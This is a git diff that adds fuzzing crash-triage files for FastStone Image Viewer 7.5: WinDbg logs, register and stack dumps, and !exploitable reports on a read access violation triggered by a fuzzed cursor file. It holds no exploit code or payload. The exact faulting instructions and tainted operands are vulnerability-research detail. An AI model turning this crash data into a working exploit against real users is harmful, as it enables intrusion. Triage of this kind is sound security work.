00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(17a0.1fb0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e97b10 edx=00003879 esi=ffdd0010 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.42775e-035 1.853e-010 -2.15672e-028 3.68682e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028b000 a51b0824 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d06cf59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..238e1ff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..0990e75 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xE50: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xE50: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(e50.ce0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e87b10 edx=00003879 esi=ffdd0010 edi=0f6c2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.69098e+031 -1123.44 -1.5599e+024 -4.79373e-022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fa000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fa000 b24caa90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629d 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fa000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..0990e75 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xE50: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xE50: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 